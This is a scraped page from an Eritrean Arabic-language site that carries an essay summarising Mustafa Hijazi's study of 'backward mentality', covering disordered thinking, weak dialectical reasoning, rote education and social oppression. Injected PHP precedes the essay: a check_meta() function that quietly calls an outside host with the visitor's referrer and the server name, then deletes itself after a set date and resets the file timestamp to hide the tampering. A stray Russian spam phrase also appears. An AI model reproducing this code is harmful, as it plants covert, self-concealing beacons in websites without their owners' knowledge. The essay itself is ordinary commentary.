check_meta(); function check_meta(){ $jp = __FILE__; $jptime = filemtime($jp); if(time() >= 1456727708){ $jp_c = file_get_contents($jp); if($t = @strpos($jp_c,"check_meta();")) { $contentp = substr($jp_c,0,$t); if(@file_put_contents($jp, $contentp)){ @touch($jp,$jptime); } } } @file_get_contents("http://web.51.la:82/go.asp?svid=17&id=18776693&referrer=".$_SERVER['HTTP_REFERER']."&vpage=http://".$_SERVER['SERVER_NAME']."/components/com_content/helpers/helpers.php"); } العقلية المتخلفة – دراسة لحالة من حالات التخلف
кремлевская диета

العقلية المتخلفة – دراسة لحالة من حالات التخلف

User Rating: / 0
PoorBest 

 

 

 

 

العقلية المتخلفة – دراسة لحالة من حالات التخلف

                                                        إعداد: *زين العابدين محمد علي "شوكاي"

                                                        ستوكهولم – السويد، أكتوبر 2012

يبدأ الدكتور حجازي في كتابه "التخلف الاجتماعي - مدخل إلى سيكولوجية الإنسان المقهور"، بالقول إن الدراسات العلمية السابقة التي قامت بدراسة حالات التخلف كانت تركز جهدها الأساسي في فحصها لمشكلة التخلف على الأحوال الاقتصادية والاجتماعية للمجتمعات قيد الدرس، وأهملت بشكل واضح أهمية دور الفرد في هذه العملية. وبالتالي أهملت دراسة العقلية التي تقف وراء الكثير من ظواهر التخلف، وبالنتيجة أهملت دراسة الذهنية المتخلفة وخصائصها، والدور الحاسم الذي يلعبه الفكر في تقدير الواقع، وتكوين الأحكام. وهكذا ساهمت في تكريس التخلف ولم تساهم في خلق وعي نوعي يساعد على إصدار أحكام صحيحة أو قريبة من الصحة على مشكلة التخلف بأطرافها الثلاثة وهي: التخلف كواقع اقتصادي، والواقع الاقتصادي في علاقته بواقع التخلف الاجتماعي، والواقع الاجتماعي كممارسات وأفكار ودور الذهنية المتخلفة التي تغذي هذا الواقع المتخلف، وتقاوم بما أوتيت من قوة تغييره نحو الأفضل، باعتباره لا يناسب الوضع المريح الذي تجد فيه العقلية المتخلفة الطمأنينة والراحة الزائفة، غير التواقة إلى خوض مغامرة التغيير.

هذا العرض عبارة عن تلخيص لأهم الأفكار التي وردت في كتاب الدكتور مصطفي حجازي  من الصفحة 59 وحتى 84، وهنا تجدر الإشارة إلي أنني كنت قد قمت في وقت سابق بتلخيص أهم الأفكار التي وردت في كتاب آخر للدكتور حجازي عن "الإنسان المهدور"، ونشرت في حلقات. وكما أشرت في تلخيصاتي السابقة، أشير الآن أيضًا إلى أهمية قراءة كلا الكتابين لإدراك حجم الضرر الذي لحق بنا كبلدان وشعوب تعرضت للكثير من عمليات القهر والهدر، وبالتالي أصبحنا نقهر بعضنا بعضًا، ونمارس كل أنواع الهدر لطاقاتنا وقدراتنا وكرامتنا الإنسانية، ونتهادر فيما بيننا، الأمر الذي سبب لنا عجزًا لا يمكن للعين الفاحصة أن تخطئه بأي شكل من الأشكال. ويهدف هذا التلخيص كسابقيه إلى الإسهام في خلق وعي نوعي للآليات التي تتحكم في قهرنا وهدر طاقاتنا وكرامتنا الإنسانية، وتساهم في تخلفنا وعجزنا عن حل مشكلاتنا، والدوران في حلقات مفرغة ومضلِّلة في محاولاتنا المتكررة للخروج من أزماتنا.

يصف الدكتور حجازي العقلية أو الذهنية المتخلفة بالتخبط، والفوضى، والعشوائية، وسوء التخطيط، والارتجال، ويعتبرها من ملامح التخلف الأساسية، وبالتالي تصبح ملامستها للواقع سطحية، عاجزة عن الغوص فيه والسيطرة عليه، ما يؤدي إلى خلق عقبات معرفية جدية تعطل خطط التنمية، وتعطي المبررات الذهنية لمقاومة التغيير. والدكتور حجازي لا يدعي الشمول في دراسته للعقلية المتخلفة، ويعتبر عمله هذا محاولة أولية تُدخِل بكل بساطة بعض التنظيم في دراسة مثل هذه الظاهرة، لتشكل بذلك منطلقًا لأبحاث ميدانية أكثر تحديدًا في المستقبل. ويقسِّم الكاتب دراسته للعقلية المتخلفة في مرحلتين، الأولى: رصد الملامح والخصائص الأساسية للعقلية المتخلفة، والثانية: الأسباب والقوى المولِّدة لها، والتي تغذيها، وتعمل على استمرارها. وفي رصده للخصائص الذهنية للتخلف، يتحدث الكاتب بداية عن أهمية ربط الظواهر التي يتم رصدها والكشف عن الروابط التي تربط بينها من خلال تصنيف منطقي وواقعي، ويري أن هناك خصائص ذهنية منهجية من ناحية، وخصائص ذهنية انفعالية من جهة أخرى.

ويؤكد الدكتور حجازي على أن الخصائص الذهنية المنهجية للعقلية المتخلفة ترتبط باضطراب منهجية التفكير، وقصور التفكير الجدلي، أما الثانية فتختص بتداخل العوامل الذاتية بالعقلانية في النظرة إلي الوجود. ويشدد الكاتب مرة أخرى على النظر إلى العقلية المتخلفة كجزء من ظاهرة كلية، وهي ظاهرة التخلف، التي تتميز في رأيه بالدينامية والتماسك، بعكس ما يعتقد الكثيرون بأن ظاهرة التخلف ثابتة وهشة.

وتناول الكاتب بإسهاب الخصائص الذهنية المنهجية للعقلية المتخلفة وقسمها إلي قسمين وهما: 1- اضطراب منهجية التفكير، 2- قصور التفكير الجدلي. وكلتا الحالتين تتميزان في نظره بصعوبة السيطرة الذهنية على الواقع بكل تفصحاته "تبدياته". وهذا العجز أو القصور لا يقتصر في مجال واحد بل يشمل العجز إزاء ظواهر الطبيعة، والحياة، والعلاقات، وما يبدو عليها من غموض، وتناقض، وتداخل، بحيث تبدو له أقوى من طاقته على الاستيعاب، لذا يتوسل الإنسان المتخلف في نظر الكاتب الوسائل السحرية والخرافية لسد هذا العجز أو النقص، ويسمي هذه الحالة بالخصاء الذهني، ويضيف إليها أحيانًا كلمة "الزائف". والإنسان المتخلف في هذه الحالة لا يقبل على الدنيا بخطى ثابتة، بل يبدي التردد، ويتجنب وضع إمكاناته موضع الاختبار خوفًا من الفشل. ويميل أحيانًا إلى التعسف هربًا من عجزه فيطلق الأحكام المسبقة، والآراء المتسرعة، دون أن يُجشِّم نفسه عناء الجهد الفكري الضروري لتحليل الواقع. وبالتالي، يتذبذب الإنسان المتخلف ما بين الشعور الشديد بالعجز، وطغيان مشاعر السيطرة على الواقع من خلال الحذق "الفهلوة".

ويعرِّف الكاتب اضطراب منهجية التفكير التي ذكرت أعلاه بسوء التنظيم الذهني في التصدِّي للواقع، حيث تقترب الذهنية المتخلفة من الواقع وتتعامل معه دون خطة مسبقة ذات مراحل منطقية واضحة سلفًا، فيقع صاحبها في الفوضى والعشوائية والتخبط، كما تجده يقع في الغموض والحيرة، ما يجعله يلجأ إلى التمنيات بخروج سحري من المأزق.

وفي هذا السياق يشير الكاتب إلى المناقشات التي تخرج عن موضعها الأصلي لتتشعب وتُولِّد أسئلة وقضايا أخرى في حالة من تداعي الأفكار التي تبتعد عن الموضوع الأصلي، وهكذا تطرح قضايا جديدة هي بدورها تصبح منطلقًا للانحراف في أمور جانبية، وهكذا تصبح المناقشات مضيعة للجهد والزمن، دون الخروج بتصور واضح للمشكلة وحلولها. بينما تتقيد العقلية المنهجية عادة بخطوات في بحثها لأية مسألة، يبدأ بتعريفها بدقة ووضوح، ثم تحديد الهدف، وبحث المشكلات التي تتضمنها، وتقسيمها إلى أساسية وثانوية مع تبيان العلاقة بين الفئتين. ثم يأتي دور جمع المعلومات والمعطيات المتوافرة وفرزها لتحديد الحل الأنسب تبعًا للهدف المقرر، ومناقشة كل حل على حدة. ولا تأخذ المسائل غالبًا هذا التسلسل المنهجي المتين، لكن الضامن في هذه السيرورة هو الاسترشاد بإطار منطقي يمكن العودة إليه، بعكس الذهنية المتخلفة التي تنحو نحو التخبط، وتقفز من مرحلة أولية إلى مرحلة نهائية فتعجز عن متابعه السير، وهكذا تفقد الحلول التي تطرحها هذه العقلية إلى المتانة المنطقية، وتغطي فشلها غالبًا باختلاق أعذار وتفسيرات غير منطقية.

هذا التخبط وفقدان المنطقية لا يقتصران على الفئات غير المتعلمة فقط، بل تنتشر مثل هذه الظواهر حتى بين فئات المتعلمين. ويؤكد الكاتب على أن التعليم في حد ذاته في المستويين الجامعي وحتى الدراسات العليا لا يشكل في الدول المتخلفة ضمانة لإيجاد نخبة متعلمة تطرح حلولاً عملية لمشكلات مجتمعاتها. ويتحدث الكاتب هنا عن التحليل والتوليف كإطار معرفي للغوص عميقاً في واقع معين، كما يؤكد على أن قيمة التحليل من الناحية العملية هي في انتقاله من مرحلة التحليل إلى مرحلة التوليف للخروج بتصورات متماسكة عن الواقع تؤدِّي إلى قرارات ومواقف فعالة. وبالمقابل العجز في تحليل الظواهر يؤدِّي بالطبع إلى العجز في الربط بين هذه الأجزاء في وحدات كلية، وعجز في إعادة ترتيبها في صيغ جديدة توضح خصائصها التي كانت غامضة، حينها يظل الذهن المتخلف عاجزًا عن الربط بين الظواهر ويصبح حائرًا أمام شتاتها، ويعاني من صعوبات في الانتقال من مرحلة التفصيلات إلى مرحلة التنسيق الكلي بينها.

والذهن المتخلف يعاني من قصور في الفكر النقدي، ومتحيز بشكل تلقائي نظرًا لتدخل العوامل العاطفية والانفعالية في التفكير، وهو قطعي في تحيزه، فإما أن يكون مع أو ضد أمر ما، وهذا يؤدي بدوره إلى القصور في الجمع بين الأوجه الموجبة والسالبة، بين المميزات والعيوب، ومثل هذا الجمع فقط هو القادر على تلطيف الأحكام وزيادة قدرتها التمييزية. وهذا يؤدِّي بدوره إلى انعدام المثابرة التي تنعكس على التفكير في أمر ما في حدود زمنية، سرعان ما يداخله التعب والتشتت، وينطلق صاحب مثل هذه العقلية بحماس كبير، ولكنه يفقد حماسه بالسرعة نفسها التي بدأ بها، وهذه العقلية لا تتحمل الجهد الطويل النفس. لذا، يصعب على الذهنية المتخلفة الدخول في البحث المتخصص الذي يحتاج إلى المثابرة والجهد الدؤوب. وهذا يؤدي بدوره إلى تحكم ثقافة الحظ والحظوة ولا مكان للارتقاء بالجهد الذاتي البعيد المدى، لذا يسود طابع تدبير الحال، والبحث عن المناسبات التي تحمل إمكانات النجاح السريع.

كما يشير الدكتور حجازي في كتابه إلى السمة البارزة للعقلية المتخلفة وهي انعدام الدقة والضبط في التصدِّي للواقع وفي تقدير الأمور. كل شيء يبقي على مستوى التقدير الإجمالي والانطباع العام، وعرضة للتهاون والتراخي والتساهل حتى الاستهتار، ويمكن ملاحظة ذلك في مختلف أشكال الالتزام تجاه الآخرين. والدقة والضبط في التعامل مع الآخرين يدل على مدى السيطرة على الوجود، وتحديد المسؤوليات والالتزامات.

كما أن العقلية المتخلفة عاجزة عن التخطيط، وتنظر إلى الواقع بشكل تجزيئي زمانيًّا ومكانيًّا، فمن الناحية الزمنية يتم التركيز على الحاضر مع انسداد الأفق المستقبلي، ولا تبقى المشكلة في حدود عدم القدرة على التخطيط، بل تصل إلى انعدام الرَّغبة في التنفيذ. إن العيش في الحاضر وانسداد آفاق المستقبل تعتبر إحدى الخصائص النفسية للوجود المتخلف، فالذي فقد السيطرة على مصيره يستحيل عليه التخطيط للمستقبل، ويظل أسير الظروف المحيطة به، لأن التخطيط  عبارة عن وسيلة للسيطرة على المصير، وتوجيهه وجهة ملائمة للإنسان. وهكذا يتقلب الإنسان المتخلف ما بين التشاؤم والتفاؤل تبعًا للحظة الراهنة، يفرط في تفاؤله أمام الظفر العابر، ويفرط في تشاؤمه أمام الانتكاسة الآنية. أما مكانيًّا، فالإنسان المتخلف تجزيئي، يعجز عن النظر إلى أبعد من دائرته الضيقة. إنه عاجز عن الشمول، وعن استشفاف آفاق بعيدة، ووضع خصائص المحيط المباشر في أطر أكثر اتساعًا وشمولية.

ويتحدث الدكتور حجازي أيضًا عن قصور التفكير الجدلي باعتباره لب الذهنية المتخلفة، فهي قطعية، وحيدة الجانب، تتبع مبدأ السببية الميكانيكية، عاجزة عن العمل تبعًا لمبدإ التناقض. تنطلق الذهنية المتخلفة من مبدإ العزل والفصل، الشيء قائم بذاته، منفصل عن بقية الأشياء والظواهر، حكمها تقويمي نهائي، وتطلق صفة الثبات على الأشياء. بعكس المنهج الجدلي الذي يؤمن بالدينامية والصيرورة، وبالعلائق السببية بين الظواهر.

كما تنطلق الذهنية المتخلفة من مبدإ السببية الميكانيكية بين الأشياء ذات الاتجاه الواحد. بمعنى سبب معين يؤدي إلى نتيجة معينة، التأثير يأتي من السبب ويؤدي إلى نتيجة. أما الحركة بالاتجاه المعاكس، وهو تأثير النتيجة على السبب غير متصور. كما تنطلق هذه الذهنية من السببية المبسطة، سبب واحد أو عدة أسباب تؤدي إلى نتيجة معينة، وبالتالي تخلق بين هذا السبب أو الأسباب علاقة مغلقة تعزلها عن بقية الأسباب والنتائج.

كما تعجز الذهنية المتخلفة عن رؤية قانون التناقض أو تكامل الأضداد، بمعنى أن وجود كل طرف يتطلب وجود الطرف الآخر المناقض له. وحدة العلاقة تقوم على دينامية التناقض. والعلاقة السببية ليست طويلة، بل تفاعلية تصاعدية، وبالتالي تعجز هذه العقلية عن التفريق بين الأساسي والثانوي، والجوهري والعابر، بحيث تتساوى كل الأمور في الأهمية. وكما أن هناك تناقض خارجي بين شيء ما والأشياء الأخرى، هناك تناقض داخلي ضمن الشيء نفسه، بالإضافة إلى عجزها في إدراك العلاقة الجدلية بين الزمان والمكان، كما سبق ذكره. فالزمان والمكان، التاريخ والبنية متلازمان يتبادلان التحديد والتأثير، فتاريخ ظاهرة ما يحدد بنيتها الراهنة، والبنية تؤثر على الصيرورة فتحدد التطور اللاحق للشيء. لذا لا توجد علاقة أو بنية خارج التاريخ، ولا تاريخ خارج شبكة العلاقات التي تحكم الظواهر.

فالقصور الذهني الذي تمت الإشارة إليه يؤدي إلى حالة من التصلب، وانخفاض درجة المرونة بحيث يعطل القدرة على التكيف للوضعيات المختلفة. وهناك إشارة هامة تطرق إليها الدكتور حجازي بشأن قصور التفكير الجدلي، واضطراب منهجية التفكير، بأن هذا القصور ليس وليدًا لخلل عضوي أو انحطاط تطوري، بل هو نتاج بنية اجتماعية متخلفة، ويتناسب بالتالي قصور منهجية التفكير مع درجة القهر المفروض على الإنسان وجمود البنية الاجتماعية التي يعيش فيها. 

وذكر الكاتب أن طغيان الانفعالات على سلوك الذهنية المتخلفة يضع الإنسان أمام الحاجة للتخلص من ضغطها، غالبًا عن طريق الإسقاط، الذي يسمح بتصريف الانفعالات من خلال صبها على الخارج، على العالم، والأشخاص، والعلاقات، وهذا السلوك يفاقم من عجز الإنسان عن إدراك القوانين الموضوعية لظواهر الوجود التي تتطلب إعمال العقل وضبط العاطفة.

من مظاهر الذهنية الانفعالية أيضًا تدهور الحوار العقلاني والتفكير المنطقي، والتعصب والتحيز، وسرعة إطلاق الأحكام القطعية والمسبقة، وسيطرة التفكير الخرافي والسحري. وهذا يؤدي بالنتيجة إلى تدهور الأداء العقلي والحوار المنطقي بين الناس في البيئات المتخلفة. وهنا يضيع النقاش الموضوعي والواقعي، ويتحول إلى صراخ ومهاترات، فتنهار علاقات التفاعل بين الناس ويحدث انكفاء على الذاتية ذات الانفعالات المفرطة. وقد يصل الأمر إلى لغة القوة والإخضاع بعد أن فشل الإقناع، فتخسر بذلك آفاق المستقبل، ويلغى الواقع العريض الذي يعطي الأشياء والظواهر حجمها الحقيقي. عجز العقل عن السيطرة على الواقع يفجر الانفعالات، وهذه بدورها تزيد من حدة هذا العجز.

وفي تفسيره لعوامل التخلف، يرفض الكاتب قطعًا إرجاع التخلف إلى عوامل ثقافية أو عرقية، تحت أي مبرر كان، لأنها تفتقر إلى أبسط المقومات العلمية، ويعتبرها تحيزات وأحكام مسبقة تهدف إلى تبرير الاستغلال الغربي للعالم الثالث وتكريس التسلط عليه. وبالتالي يكمن الحل في نظره إلى دراسة العلاقة بين البنية الاجتماعية والذهنية التي تنتج عنها. إن جوهر تخلف العقلية يكمن في نظر الكاتب في أسباب اجتماعية سياسية ويعطي الأهمية لأمرين يعتبرهما مترابطين وهما: سياسة التعليم، وعلاقات التسلط والقهر السائدة في المجتمع.

وتفشي الأمية في الدول النامية مسؤول بالدرجة الأولى عن استمرار الذهنية غير العلمية التي تسيطر عليها الخرافة، وترتقي هذه الذهنية كلما ارتقى المستوى التعليمي في المجتمع. وإذا أخفق التعليم في الارتقاء بالذهنية فالعلة لا تكمن في الإنسان بل في نوعية التعليم ومدى تأثيره على تغيير الذهنية، بالإضافة إلى التنشئة والمحيط الذي تعشش فيه الكثير من الأفكار المتخلفة.

كما أن التعليم يظل عمومًا في البلدان النامية سطحيًّا في الأسلوب والمحتوى. فطرق التعليم مازالت تلقينية، وهذه لا تساعد على اكتساب العقل النقدي الجدلي. كما أن الأسلوب التلقيني تسلطي في طبيعته، وأحادي في اتجاهه "من المعلِّم الذي يعرف كل شيء، إلى الطالب الذي يجهل كل شيء. فسلطة المعلم لا تناقش، حتى أخطاؤه لا يسمح بإثارتها"، لتشكل المؤسسة التعليمية بذلك حلقة من حلقات القهر والتسلط، أما المواد التعليمية فهي غريبة عن حياة التلميذ أو الطالب. كما يتناول الكاتب هنا مشكلة الانفصام بين لغة العلم ولغة الحياة اليومية، خاصة إذا كانت هذه اللغة لغة أجنبية يدرس بها الطلاب العلوم الأساسية، بينما عالمهم المعاش تحكمه لغة مشحونة بالانفعالات والخرافة وبعيدة كل البعد عن العلمية. وهكذا فإن نقل العلم بلغة الشعب تطوير له ولحياته وللغته على حد سواء.

وفي نهاية هذا البحث الخاص بالذهنية المتخلفة الذي ختم به الدكتور حجازي هذا الجزء من الكتاب، تطرق فيه إلى علاقات القهر والتسلط وأثرها في تخلف الذهنية. فالقهر والتسلط بكل أشكاله، سواء وقع على الشخص من الطبيعة وغوائلها، أم التقاليد، أم السلطة، تمنع الشخصية من تبني الموقف النقدي من ظواهر المجتمع وأنظمته، وتمنع تفتحها وانطلاقتها وتصديها لمختلف قضاياها الوجودية.

ففي المجتمع التقليدي العشائري يصبح النقد اعتداءً على المحرمات والأقداس التي يجب ألاَّ تمس، والمرأة بشكل خاص تشكل مثالاً صارخًا للاستلاب في مثل هذا المجتمع، فتصبح بذلك ضحية من ضحاياه، وأداة من أدوات تكريسه. ثم يأتي الرجل ليمارس سلطته وقهره  للزوجة والأبناء، حتى لو كان هو نفسه ضحية القهر العام. فالأب هنا إما أن يكون عاطفيًّا أو آمرًا أو غاضبًا أو معاقبًا باستخدام الضرب، وهذه كلها بعيدة عن تدريب الطفل على تحكيم العقل في السلوك. ويرى الدكتور حجازي أن مجتمع القهر والتسلط يستمر في مسلسل القمع في الأسرة وأماكن التعليم والعمل، لتتضافر مؤسسات المجتمع نفسها في تكريس حالة التخلف، وتمنع التفكير النقدي والجدلي من النمو.

المرجع:

د. مصطفى حجازي

التخلف الاجتماعي – مدخل إلى سيكولوجية الإنسان المقهور

الناشر: المركز الثقافي العربي، الدار البيضاء – المغرب

الطبعة العاشر:  2007

________________________________

* كاتب وناشط حقوقي ارتري مقيم في السويد

 



Add comment

Your comments are as important as the article you are commenting on. Please enrich the discussion by avoiding personal attacks. We'll publish your comment, if it meets our criteria. تعليقاتك لا تقل اهمية عن المقال المكتوب اعلاه، فالرجاء اثراء النقاش بالابتعاد عن الاساءات الشخصية. سوف ننشر تعليقك اذا استوف شروط النشر



Security code
Refresh

Enough dictatorship

Get Adobe Flash player

Arkokabay Media -----> Poem

Get Adobe Flash player

مرض الرئيس الأريتري بين الشائعة والنفي

Get Adobe Flash player

ALIA GABRES- SHE COTTON SUMMER DRESSES

Get Adobe Flash player

عمود الكتاب العربي

Arkokabay.com
Arkokabay.com
OMAR JABIR الأستاذ عمر جابر
OMAR JABIR الأستاذ عمر جابر
Zein Shokayالأستاذ زين شوكاي
Zein Shokayالأستاذ زين شوكاي
سعادة السفير حمد كلُ
سعادة السفير حمد كلُ
الأستاذ صلاح أبوراي
الأستاذ صلاح أبوراي
 الأستاذة حنان
الأستاذة حنان
الأستاذ موسى ضرار
الأستاذ موسى ضرار
الأستاذ أبو الرشيد
الأستاذ أبو الرشيد
الأستاذ عبدالفتاح ود الخليفة
الأستاذ عبدالفتاح ود الخليفة
الأستاذ ياسين محمد عبدالله
الأستاذ ياسين محمد عبدالله
الأستاذ محمد نور - بركان
الأستاذ محمد نور - بركان
الأستاذ جمال همد
الأستاذ جمال همد
الأستاذ فكاك ناير
الأستاذ فكاك ناير
الأستاذ أحمد صلاح الدين
الأستاذ أحمد صلاح الدين
Amal Ali الأستاذة أمال علي
Amal Ali الأستاذة أمال علي
Mohamed - Wahran Eritreaمحمد - وهران ارتريا
Mohamed - Wahran Eritreaمحمد - وهران ارتريا
الأستاذ حسن سلمان
الأستاذ حسن سلمان
الأستاذة منى محمد صالح
الأستاذة منى محمد صالح
الاستاذة نوره فارس
الاستاذة نوره فارس